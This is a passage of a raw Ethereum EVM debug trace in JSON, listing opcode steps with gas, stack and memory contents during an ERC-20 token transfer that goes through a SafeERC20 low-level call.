1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0x1e0d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7693,"op":"JUMPDEST","gas":62344,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7694,"op":"DUP4","gas":62343,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7695,"op":"DUP2","gas":62340,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7696,"op":"LT","gas":62337,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0x44","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7697,"op":"ISZERO","gas":62334,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7698,"op":"PUSH2","gas":62331,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7701,"op":"JUMPI","gas":62328,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0x0","0x1e25"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7702,"op":"DUP2","gas":62318,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7703,"op":"DUP2","gas":62315,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7704,"op":"ADD","gas":62312,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0xa0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7705,"op":"MLOAD","gas":62309,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7706,"op":"DUP4","gas":62306,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0xf40ac09b00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7707,"op":"DUP3","gas":62303,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0xf40ac09b00000000000000000000000000000000000000000000000000000000","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7708,"op":"ADD","gas":62300,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0xf40ac09b00000000000000000000000000000000000000000000000000000000","0x124","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7709,"op":"MSTORE","gas":62297,"gasCost":6,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0xf40ac09b00000000000000000000000000000000000000000000000000000000","0x164"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136db00000000000000000000000000000000000000000000000000000000"]},{"pc":7710,"op":"PUSH1","gas":62291,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7712,"op":"ADD","gas":62288,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0","0x40","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac